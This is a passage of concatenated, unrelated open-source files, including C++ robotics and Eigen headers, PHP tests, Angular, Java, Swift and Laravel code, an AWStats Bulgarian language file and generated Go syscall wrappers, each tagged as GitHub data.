0x00000001, // timeout_seconds_ STATE_VALIDITY_CALLBACK = 0x00000002, // state_validity_callback_ LOCK_REDUNDANT_JOINTS = 0x00000004, // options_.lock_redundant_joints RETURN_APPROXIMATE_SOLUTION = 0x00000008, // options_.return_approximate_solution DISCRETIZATION_METHOD = 0x00000010, ALL_QUERY_OPTIONS = LOCK_REDUNDANT_JOINTS | RETURN_APPROXIMATE_SOLUTION | DISCRETIZATION_METHOD, ALL = 0x7fffffff }; /// Set \e state using inverse kinematics /// @param state the state to set /// @param group name of group whose joints can move /// @param tip link that will be posed /// @param pose desired pose of tip link /// @param result true if IK succeeded. bool setStateFromIK(moveit::core::RobotState& state, const std::string& group, const std::string& tip, const geometry_msgs::msg::Pose& pose) const; /// Copy a subset of source to this. /// For each bit set in fields the corresponding member is copied from /// source to this. void setOptions(const KinematicOptions& source, OptionBitmask fields = ALL); /// max time an IK attempt can take before we give up. double timeout_seconds_; /// This is called to determine if the state is valid moveit::core::GroupStateValidityCallbackFn state_validity_callback_; /// other options kinematics::KinematicsQueryOptions options_; }; } // namespace robot_interaction
{ "pile_set_name": "Github" }
<?php /** * This class will test the channel variables. * * PHP Version 5 * * @category Pagi * @package Test * @subpackage Channelvars * @author Marcelo Gornstein <[email protected]> * @license http://marcelog.github.com/ Apache License 2.0 * @version SVN: $Id$ * @link http://marcelog.github.com/ * * Copyright 2011 Marcelo Gornstein <[email protected]> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ namespace PAGI\Client\Impl { /** * This class will test the channel variables. * * PHP Version 5 * * @category Pagi * @package Test * @subpackage Channelvars * @author Marcelo Gornstein <[email protected]> * @license http://marcelog.github.com/ Apache License 2.0 * @link http://marcelog.github.com/ */ class Test_ChannelVariables extends \PHPUnit_Framework_TestCase { private $_properties = array(); public function setUp() { $this->_properties = array(); } /** * @test */ public function can_get_channel_variables() { global $standardAGIStart; setFgetsMock($standardAGIStart, array()); $client = \PAGI\Client\Impl\ClientImpl::getInstance($this->_properties); $vars = $client->getChannelVariables(); $vars = $client->getChannelVariables(); // should return the same instance } /** * @test */ public function can_get_agi_variables() { global $standardAGIStart; setFgetsMock($standardAGIStart, array()); $client = \PAGI\Client\Impl\ClientImpl::getInstance($this->_properties); $vars = $client->getChannelVariables(); $this->assertEquals($vars->getChannel(), 'SIP/jondoe-7026f150'); $this->assertEquals($vars->getLanguage(), 'ar'); $this->assertEquals($vars->getType(), 'SIP'); $this->assertEquals($vars->getUniqueId(), '1306865753.2488'); $this->assertEquals($vars->getVersion(), '1.6.0.9'); $this->assertEquals($vars->getCallerId(), '666'); $this->assertEquals($vars->getCallerIdName(), 'JonDoe'); $this->assertEquals($vars->getCallingPres(), '1'); $this->assertEquals($vars->getCallingAni2(), '0'); $this->assertEquals($vars->getCallingTon(), '0'); $this->assertEquals($vars->getCallingTns(), '0'); $this->assertEquals($vars->getDNID(), '66666666'); $this->assertEquals($vars->getRDNIS(), 'unknown'); $this->assertEquals($vars->getDNIS(), '55555555'); $this->assertEquals($vars->getContext(), 'netlabs'); $this->assertEquals($vars->getRequest(), 'anagi.php'); $this->assertEquals($vars->getThreadId(), '1105672528'); $this->assertEquals($vars->getAccountCode(), '123'); $this->assertEquals($vars->getEnhanced(), '0.0'); $this->assertEquals($vars->getPriority(), '1'); $this->assertEquals($vars->getTotalArguments(), 3); $this->assertEquals($vars->getArgument(1), 'arg1'); $this->assertEquals($vars->getArgument(2), 'arg2'); $this->assertEquals($vars->getArgument(3), 'http://www.someurl.com:1234'); $this->assertEquals( array( 1 => 'arg1', 2 => 'arg2', 3 => 'http://www.someurl.com:1234' ), $vars->getArguments() ); $this->assertFalse($vars->getArgument(4)); $this->assertEquals($vars->getNetwork(), 'yes'); $this->assertEquals($vars->getNetworkScript(), 'ScriptName'); $refObject = new \ReflectionObject($vars); $refMethod = $refObject->getMethod('getAGIVariable'); $refMethod->setAccessible(true); $this->assertFalse($refMethod->invoke($vars, 'unexistant')); } /** * @test */ public function can_get_environment_variables() { global $standardAGIStart; setFgetsMock($standardAGIStart, array()); $client = \PAGI\Client\Impl\ClientImpl::getInstance($this->_properties); putenv('AST_CONFIG_DIR=1'); putenv('AST_CONFIG_FILE=2'); putenv('AST_MODULE_DIR=3'); putenv('AST_SPOOL_DIR=4'); putenv('AST_MONITOR_DIR=5'); putenv('AST_VAR_DIR=6'); putenv('AST_DATA_DIR=7'); putenv('AST_LOG_DIR=8'); putenv('AST_AGI_DIR=9'); putenv('AST_KEY_DIR=10'); putenv('AST_RUN_DIR=11'); $vars = $client->getChannelVariables(); $this->assertEquals($vars->getDirectoryRun(), 11); $this->assertEquals($vars->getDirectoryKey(), 10); $this->assertEquals($vars->getDirectoryAgi(), 9); $this->assertEquals($vars->getDirectoryLog(), 8); $this->assertEquals($vars->getDirectoryData(), 7); $this->assertEquals($vars->getDirectoryVar(), 6); $this->assertEquals($vars->getDirectoryMonitor(), 5); $this->assertEquals($vars->getDirectorySpool(), 4); $this->assertEquals($vars->getDirectoryModules(), 3); $this->assertEquals($vars->getConfigFile(), 2); $this->assertEquals($vars->getDirectoryConfig(), 1); } } }
{ "pile_set_name": "Github" }
import {Component, Pipe, PipeTransform} from '@angular/core'; import {Observable} from 'rxjs/Observable'; import {bootstrap} from '@angular/platform-browser-dynamic'; import {HTTP_PROVIDERS, Http} from '@angular/http'; @Component({ selector: 'greeting', template: 'Hello {{ greetingPromise | async }}' }) class Greeting { username: string; greetingPromise = new Promise<string>(resolve => this.resolve = resolve); resolve: Function; constructor() { setTimeout(_ => { this.resolve('Foobar!'); }, 3000); } } @Component({ selector: 'timer', template: '{{ timer | async | date: "medium" }}' }) class Timer { username: string; timer: Observable<number>; constructor() { let counter = 0; this.timer = Observable.create(observer => { setInterval(() => { observer.next(new Date().getTime()); }, 1000); }); } } @Component({ selector: 'app', directives: [Greeting, Timer], template: '<greeting></greeting> <br> <timer></timer>' }) class App {} bootstrap(App, []);
{ "pile_set_name": "Github" }
package com.x.cms.assemble.control.jaxrs.data; import com.x.base.core.container.EntityManagerContainer; import com.x.base.core.container.factory.EntityManagerContainerFactory; import com.x.base.core.project.cache.ApplicationCache; import com.x.base.core.project.cache.CacheManager; import com.x.base.core.project.http.ActionResult; import com.x.base.core.project.http.EffectivePerson; import com.x.base.core.project.jaxrs.WoId; import com.x.cms.assemble.control.Business; import com.x.cms.core.entity.Document; class ActionDeleteWithDocumentPath4 extends BaseAction { ActionResult<Wo> execute(EffectivePerson effectivePerson, String id, String path0, String path1, String path2, String path3, String path4) throws Exception { try (EntityManagerContainer emc = EntityManagerContainerFactory.instance().create()) { ActionResult<Wo> result = new ActionResult<>(); Business business = new Business(emc); Document document = emc.find(id, Document.class); if (null == document) { throw new ExceptionDocumentNotExists(id); } this.deleteData(business, document, path0, path1, path2, path3, path4); emc.commit(); Wo wo = new Wo(); wo.setId(document.getId()); result.setData(wo); CacheManager.notify( Document.class ); return result; } } public static class Wo extends WoId { } }
{ "pile_set_name": "Github" }
#!/bin/sh -eu # This is the install script for Cockpit when run in a privileged container # # The host file system must be mounted at /host cd / PATH="/bin:/sbin" if [ ! -d /host/etc -o ! -d /host/proc -o ! -d /host/var/run ]; then echo "host file system is not mounted at /host" >&2 exit 1 fi if [ ! -f /host/usr/bin/cockpit-bridge ]; then echo "cockpit-bridge must be installed in the host" >&2 exit 1 fi if [ ! -d /host/usr/share/cockpit ]; then echo "cockpit-shell and other resources must be installed in the host" >&2 exit 1 fi if [ -f /host/usr/libexec/cockpit-ws ]; then echo "cockpit-ws must not be installed in the host" >&2 exit 1 fi set -x # Everything else is settings and should remain rm -f /host/etc/pam.d/cockpit
{ "pile_set_name": "Github" }
<?php foo($x instanceof Foo);
{ "pile_set_name": "Github" }
'use strict'; var toPrimitive = require('es-to-primitive/es2015'); // https://www.ecma-international.org/ecma-262/6.0/#sec-toprimitive module.exports = function ToPrimitive(input) { if (arguments.length > 1) { return toPrimitive(input, arguments[1]); } return toPrimitive(input); };
{ "pile_set_name": "Github" }
/* * Copyright (c) 2011, 2014 Oracle and/or its affiliates. * All rights reserved. Use is subject to license terms. * * This file is available and licensed under the following license: * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the distribution. * - Neither the name of Oracle Corporation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package org.domterm.util; import java.io.*; import org.w3c.dom.*; /** Some debugging utilities. */ public class WTDebug { static PrintStream origErr; public static void init() { if (origErr == null) origErr = System.err; } static { init(); } public static PrintStream getErr() { return origErr; } public static void print(Object obj) { origErr.print(""+obj); } public static void println(Object obj) { origErr.println(""+obj); } public static String pnode(org.w3c.dom.Node n) { if (n == null) return "(null)"; if (n instanceof CharacterData) return n.toString()+'\"'+toQuoted(((CharacterData)n).getData())+'\"'+"@"+Integer.toHexString(System.identityHashCode(n)); return n+"/"+n.getNodeName()+"@"+Integer.toHexString(System.identityHashCode(n)); } public static String toQuoted(String str) { int len = str.length(); StringBuilder buf = new StringBuilder(); for (int i = 0; i < len; i++) { char ch = str.charAt(i); if (ch == '\n') buf.append("\\n"); else if (ch == '\r') buf.append("\\r"); else if (ch == '\t') buf.append("\\t"); else if (ch == '\033') buf.append("\\E"); else if (ch < ' ' || ch >= 127) buf.append("\\"+(char)(((ch>>6)&7)+'0')+(char)(((ch>>3)&7)+'0')+(char)((ch&7)+'0')); else { if (ch == '\"' || ch == '\'' || ch == '\\') buf.append('\\'); buf.append(ch); } } return buf.toString(); } }
{ "pile_set_name": "Github" }
// // S2LatLng.swift // RealDeviceMap // // Created by Florian Kostenzer on 23.11.18. // import S2Geometry import Turf extension S2LatLng { init(coord: CLLocationCoordinate2D) { self.init(lat: S1Angle(degrees: coord.latitude), lng: S1Angle(degrees: coord.longitude)) } var coord: CLLocationCoordinate2D { return CLLocationCoordinate2D(latitude: lat.degrees, longitude: lng.degrees) } func getLoadedS2CellIds() -> [S2CellId] { let radius: CLLocationDistance if lat.degrees <= 39 { radius = 715 } else if lat.degrees >= 69 { radius = 330 } else { radius = -13 * lat.degrees + 1225 } let radians = radius / 6378137 let centerNormalizedPoint = self.normalized.point let circle = S2Cap(axis: centerNormalizedPoint, height: (radians*radians)/2) let coverer = S2RegionCoverer() coverer.maxCells = 100 coverer.maxLevel = 15 coverer.minLevel = 15 return coverer.getCovering(region: circle) } }
{ "pile_set_name": "Github" }
# Bulgarian message file translated by Aryan([email protected]) # $Revision: 1.3 $ - $Date: 2003/11/21 01:07:33 $ PageCode=windows-1251 message0=Непознати message1=Непознати (непреобразувани ip-адреси) message2=Други message3=Детайли message4=Ден message5=Месец message6=Година message7=Статистики за message8=Първоначално посещение message9=Посл. посещение message10=Брой посещения message11=Уникални посетители message12=Посещениe message13=различни ключови думи message14=Търсене message15=Процент message16=Трафик message17=Домейни/Държави message18=Посетители message19=Страници-URL message20=По часове message21=Браузъри message22=HTTP Грешки message23=Препратки message24=Никога не е обновявано message25=Посетители по домейни/държави message26=хостове message27=страници message28=различни страници-url message29=Разглеждани message30=Други ключови думи message31=Неоткрити страници message32=HTTP кодове за грешка message33=Netscape версии message34=IE версии message35=Последно обновяване message36=Връзка към сайта от message37=Произход message38=Директни адреси / Bookmarks message39=Неизвестен произход message40=Връзки от Интернет Търсачки message41=Връзки от външни страници (други сайтове освен търсачки) message42=Връзки от вътрешни страници (други страници от сайта) message43=Ключови фрази използвани в търсачките message44=Ключови думи използвани в търсачките message45=Непреобразувани IP адреси message46=Непозната ОС (поле "useragent") message47=Посочени, но неоткрити URL-и (HTTP код 404) message48=IP Адрес message49=Грешни&nbsp;Хитове message50=Непознати браузъри (поле "useragent") message51=различни роботи message52=посещения/посетител message53=<b>Претърсващи роботи</b> message54=Безплатен логфайл-анализатор за разширени уеб статистики в реално време message55=от message56=Страници message57=Хита message58=Версии message59=Операционни Системи (ОС) message60=Яну message61=Фев message62=Мар message63=Апр message64=Май message65=Юни message66=Юли message67=Авг message68=Сеп message69=Окт message70=Ное message71=Дек message72=Навигация message73=Файлов тип message74=Обнови сега message75=Използван трафик message76=Обратно в главната message77=Топ message78=dd mmm yyyy - HH:MM message79=Филтър message80=Пълен списък message81=<b>Хостове</b> message82=Известни message83=Роботи message84=Нед message85=Пон message86=Вто message87=Сря message88=Чет message89=Пет message90=Съб message91=По ден от седмицата message92=Кой message93=Кога message94=Оторизирани потребители message95=Мин. message96=Средно message97=Макс. message98=Уеб компресия message99=Спестен трафик message100=Компресия на message101=Резултат от компресията message102=Общо message103=различни ключови фрази message104=Входящи message105=Код message106=Приблизителен размер message107=Връзки от Новинарски групи message108=KB message109=MB message110=GB message111=Сайт рипър(Grabber) message112=Да message113=Не message114=WhoIs инфо message115=OK message116=Изходящи message117=Продълж. на посещението message118=Затвори прозореца message119=Байта (Bytes) message120=Търсени&nbsp;ключови фрази message121=Търсени&nbsp;ключови думи message122=различни насочващи търсачки message123=различни насочващи сайтове message124=Други фрази message125=Други включвания (и/или анонимни потребители) message126=Насочващи търсачки message127=Насочващи сайтове message128=Сумарно message129=Не е възможна точна стойност на 'Годишен' преглед message130=Масиви от данни message131=EMail на Изпращача message132=EMail на Получателя message133=Докладван период message134=Допълнително/Търговски message135=Размери на дисплея message136=Worm/Вирус атаки message137=Добавяне към любими (приблизително) message138=По дни от месеца message139=Разни message140=Браузъри с поддръжка на Java message141=Браузъри с поддръжка на Macromedia Director message142=Браузъри с поддръжка на Flash message143=Браузъри с поддръжка на Real audio playing message144=Браузъри с поддръжка на Quicktime audio playing message145=Браузъри с поддръжка на Windows Media audio playing message146=Браузъри с поддръжка на PDF message147=SMTP кодове за грешки message148=Държави message149=Пощи message150=Размер message151=Първи message152=Последен message153=Изключващ филтър message154=Кодовете показани тук показват хитове или трафик, "незабележим" за посетителите, и поради това са отделени в тази таблица. message155=Клъстър
{ "pile_set_name": "Github" }
<?php Route::group(['middleware' => ['auth'], 'namespace' => 'Projects'], function () { /* * Projects Routes */ Route::get('projects/{project}/delete', ['as' => 'projects.delete', 'uses' => 'ProjectsController@delete']); Route::get('projects/{project}/subscriptions', ['as' => 'projects.subscriptions', 'uses' => 'ProjectsController@subscriptions']); Route::patch('projects/{project}/status-update', ['as' => 'projects.status-update', 'uses' => 'ProjectsController@statusUpdate']); Route::resource('projects', 'ProjectsController'); /* * Project Payments Routes */ Route::get('projects/{project}/payments', ['as' => 'projects.payments', 'uses' => 'ProjectsController@payments']); /* * Project Fees Routes */ Route::get('projects/{project}/fees/create', ['as' => 'projects.fees.create', 'uses' => 'FeesController@create']); Route::post('projects/{project}/fees/store', ['as' => 'projects.fees.store', 'uses' => 'FeesController@store']); /* * Project Invoices Routes */ Route::get('projects/{project}/invoices', ['as' => 'projects.invoices', 'uses' => 'InvoicesController@index']); /* * Project Jobs Routes */ Route::get('projects/{project}/jobs-export/{type?}', ['as' => 'projects.jobs-export', 'uses' => 'JobsController@jobsExport']); Route::get('projects/{project}/job-progress-export/{type?}', ['as' => 'projects.job-progress-export', 'uses' => 'JobsController@jobProgressExport']); Route::get('projects/{project}/jobs/create', ['as' => 'projects.jobs.create', 'uses' => 'JobsController@create']); Route::post('projects/{project}/jobs', ['as' => 'projects.jobs.store', 'uses' => 'JobsController@store']); Route::get('projects/{project}/jobs/add-from-other-project', ['as' => 'projects.jobs.add-from-other-project', 'uses' => 'JobsController@addFromOtherProject']); Route::post('projects/{project}/jobs/store-from-other-project', ['as' => 'projects.jobs.store-from-other-project', 'uses' => 'JobsController@storeFromOtherProject']); Route::get('projects/{project}/jobs', ['as' => 'projects.jobs.index', 'uses' => 'JobsController@index']); Route::post('projects/{project}/jobs-reorder', ['as' => 'projects.jobs-reorder', 'uses' => 'ProjectsController@jobsReorder']); /* * Project Comments Routes */ Route::get('projects/{project}/comments', 'CommentsController@index')->name('projects.comments.index'); Route::post('projects/{project}/comments', 'CommentsController@store')->name('projects.comments.store'); Route::patch('projects/{project}/comments/{comment}', 'CommentsController@update')->name('projects.comments.update'); Route::delete('projects/{project}/comments/{comment}', 'CommentsController@destroy')->name('projects.comments.destroy'); /* * Project Issues Routes */ Route::get('projects/{project}/issues', 'IssueController@index')->name('projects.issues.index'); Route::get('projects/{project}/issues/create', 'IssueController@create')->name('projects.issues.create'); Route::post('projects/{project}/issues', 'IssueController@store')->name('projects.issues.store'); Route::get('projects/{project}/issues/{issue}', 'IssueController@show')->name('projects.issues.show'); Route::get('projects/{project}/issues/{issue}/edit', 'IssueController@edit')->name('projects.issues.edit'); Route::patch('projects/{project}/issues/{issue}', 'IssueController@update')->name('projects.issues.update'); Route::delete('projects/{project}/issues/{issue}', 'IssueController@destroy')->name('projects.issues.destroy'); /* * Tasks Routes */ Route::get('jobs/{job}/tasks/create', ['as' => 'tasks.create', 'uses' => 'TasksController@create']); Route::post('jobs/{job}/tasks', ['as' => 'tasks.store', 'uses' => 'TasksController@store']); Route::patch('tasks/{task}', ['as' => 'tasks.update', 'uses' => 'TasksController@update']); Route::patch('tasks/{task}/set_done', ['as' => 'tasks.set_done', 'uses' => 'TasksController@setDone']); Route::delete('tasks/{task}', ['as' => 'tasks.destroy', 'uses' => 'TasksController@destroy']); Route::post('tasks/{task}/set-as-job', ['as' => 'tasks.set-as-job', 'uses' => 'TasksController@setAsJob']); /* * Files Routes */ Route::get('projects/{project}/files', ['as' => 'projects.files', 'uses' => 'FilesController@index']); Route::post('files/{fileable}', ['as' => 'files.upload', 'uses' => 'FilesController@create']); Route::get('files/{file}', ['as' => 'files.download', 'uses' => 'FilesController@show']); Route::patch('files/{file}', ['as' => 'files.update', 'uses' => 'FilesController@update']); Route::delete('files/{file}', ['as' => 'files.destroy', 'uses' => 'FilesController@destroy']); }); Route::group(['middleware' => ['auth']], function () { /* * Jobs Routes */ Route::get('jobs', ['as' => 'jobs.index', 'uses' => 'JobsController@index']); Route::get('jobs/{job}', ['as' => 'jobs.show', 'uses' => 'JobsController@show']); /* * Job Actions Routes */ Route::get('jobs/{job}/edit', ['as' => 'jobs.edit', 'uses' => 'JobsController@edit']); Route::patch('jobs/{job}', ['as' => 'jobs.update', 'uses' => 'JobsController@update']); Route::get('jobs/{job}/delete', ['as' => 'jobs.delete', 'uses' => 'JobsController@delete']); Route::delete('jobs/{job}', ['as' => 'jobs.destroy', 'uses' => 'JobsController@destroy']); Route::post('jobs/{id}/tasks-reorder', ['as' => 'jobs.tasks-reorder', 'uses' => 'JobsController@tasksReorder']); /* * Project Comments Routes */ Route::get('jobs/{job}/comments', 'Jobs\CommentsController@index')->name('jobs.comments.index'); Route::post('jobs/{job}/comments', 'Jobs\CommentsController@store')->name('jobs.comments.store'); Route::patch('jobs/{job}/comments/{comment}', 'Jobs\CommentsController@update')->name('jobs.comments.update'); Route::delete('jobs/{job}/comments/{comment}', 'Jobs\CommentsController@destroy')->name('jobs.comments.destroy'); }); /* * Issue Options Routes */ Route::patch('issues/{issue}/options', 'Issues\OptionController@update')->name('issues.options.update'); /* * Issue Comments Routes */ Route::post('issues/{issue}/comments', 'Issues\CommentController@store')->name('issues.comments.store'); Route::patch('issues/{issue}/comments/{comment}', 'Issues\CommentController@update')->name('issues.comments.update'); Route::delete('issues/{issue}/comments/{comment}', 'Issues\CommentController@destroy')->name('issues.comments.destroy');
{ "pile_set_name": "Github" }
// This file is part of Eigen, a lightweight C++ template library // for linear algebra. // // Copyright (C) 2008-2009 Gael Guennebaud <[email protected]> // // This Source Code Form is subject to the terms of the Mozilla // Public License v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef EIGEN_ADLOC_FORWARD #define EIGEN_ADLOC_FORWARD //-------------------------------------------------------------------------------- // // This file provides support for adolc's adouble type in forward mode. // ADOL-C is a C++ automatic differentiation library, // see https://projects.coin-or.org/ADOL-C for more information. // // Note that the maximal number of directions is controlled by // the preprocessor token NUMBER_DIRECTIONS. The default is 2. // //-------------------------------------------------------------------------------- #define ADOLC_TAPELESS #ifndef NUMBER_DIRECTIONS # define NUMBER_DIRECTIONS 2 #endif #include <adolc/adtl.h> // adolc defines some very stupid macros: #if defined(malloc) # undef malloc #endif #if defined(calloc) # undef calloc #endif #if defined(realloc) # undef realloc #endif #include <Eigen/Core> namespace Eigen { /** * \defgroup AdolcForward_Module Adolc forward module * This module provides support for adolc's adouble type in forward mode. * ADOL-C is a C++ automatic differentiation library, * see https://projects.coin-or.org/ADOL-C for more information. * It mainly consists in: * - a struct Eigen::NumTraits<adtl::adouble> specialization * - overloads of internal::* math function for adtl::adouble type. * * Note that the maximal number of directions is controlled by * the preprocessor token NUMBER_DIRECTIONS. The default is 2. * * \code * #include <unsupported/Eigen/AdolcSupport> * \endcode */ //@{ } // namespace Eigen // Eigen's require a few additional functions which must be defined in the same namespace // than the custom scalar type own namespace namespace adtl { inline const adouble& conj(const adouble& x) { return x; } inline const adouble& real(const adouble& x) { return x; } inline adouble imag(const adouble&) { return 0.; } inline adouble abs(const adouble& x) { return fabs(x); } inline adouble abs2(const adouble& x) { return x*x; } } namespace Eigen { template<> struct NumTraits<adtl::adouble> : NumTraits<double> { typedef adtl::adouble Real; typedef adtl::adouble NonInteger; typedef adtl::adouble Nested; enum { IsComplex = 0, IsInteger = 0, IsSigned = 1, RequireInitialization = 1, ReadCost = 1, AddCost = 1, MulCost = 1 }; }; template<typename Functor> class AdolcForwardJacobian : public Functor { typedef adtl::adouble ActiveScalar; public: AdolcForwardJacobian() : Functor() {} AdolcForwardJacobian(const Functor& f) : Functor(f) {} // forward constructors template<typename T0> AdolcForwardJacobian(const T0& a0) : Functor(a0) {} template<typename T0, typename T1> AdolcForwardJacobian(const T0& a0, const T1& a1) : Functor(a0, a1) {} template<typename T0, typename T1, typename T2> AdolcForwardJacobian(const T0& a0, const T1& a1, const T1& a2) : Functor(a0, a1, a2) {} typedef typename Functor::InputType InputType; typedef typename Functor::ValueType ValueType; typedef typename Functor::JacobianType JacobianType; typedef Matrix<ActiveScalar, InputType::SizeAtCompileTime, 1> ActiveInput; typedef Matrix<ActiveScalar, ValueType::SizeAtCompileTime, 1> ActiveValue; void operator() (const InputType& x, ValueType* v, JacobianType* _jac) const { eigen_assert(v!=0); if (!_jac) { Functor::operator()(x, v); return; } JacobianType& jac = *_jac; ActiveInput ax = x.template cast<ActiveScalar>(); ActiveValue av(jac.rows()); for (int j=0; j<jac.cols(); j++) for (int i=0; i<jac.cols(); i++) ax[i].setADValue(j, i==j ? 1 : 0); Functor::operator()(ax, &av); for (int i=0; i<jac.rows(); i++) { (*v)[i] = av[i].getValue(); for (int j=0; j<jac.cols(); j++) jac.coeffRef(i,j) = av[i].getADValue(j); } } protected: }; //@} } #endif // EIGEN_ADLOC_FORWARD
{ "pile_set_name": "Github" }
// mksyscall.pl -l32 -tags linux,386 syscall_linux.go syscall_linux_386.go // Code generated by the command above; see README.md. DO NOT EDIT. // +build linux,386 package unix import ( "syscall" "unsafe" ) var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fchmodat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ioctl(fd int, req uint, arg uintptr) (err error) { _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(buf) > 0 { _p1 = unsafe.Pointer(&buf[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlinkat(dirfd int, path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getcwd(buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) { r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) { var _p0 unsafe.Pointer 